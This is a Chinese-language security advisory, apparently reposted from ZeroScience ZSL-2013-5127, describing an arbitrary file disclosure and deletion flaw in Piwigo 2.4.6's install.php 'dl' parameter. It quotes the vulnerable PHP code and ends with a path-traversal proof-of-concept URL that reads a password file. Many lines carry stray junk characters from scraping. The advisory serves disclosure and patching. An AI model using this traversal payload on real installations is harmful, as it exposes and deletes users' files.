Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
! }+ {2 ~6 R0 o* [$ x5 Q# ]====================================================================
1 u1 b) n9 \2 ~/install.php:
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: I1 }( N2 o8 v# H6 g/ N; }113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
( O* X% E" `  i# q- s/ ~115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
. {' X+ p: s+ Y, `0 ~6 A116:   header('Cache-Control: no-cache, must-revalidate');
8 B3 W7 a* n0 z- Q. s3 I117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
0 F3 j0 k" n; t9 ~+ K( l% S121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
====================================================================
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# w# d1 s& P; Y* }Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
& b4 V% j" f& e- d- d0 U; ^# v           Apache 2.4.2 (Win32)
5 w. X% I6 G; R0 _1 `           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

  i2 E; p; z" v) ?9 ~Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
" A3 w* Q  q0 u1 \Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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! a: y6 M9 W! E% O8 f8 B# b15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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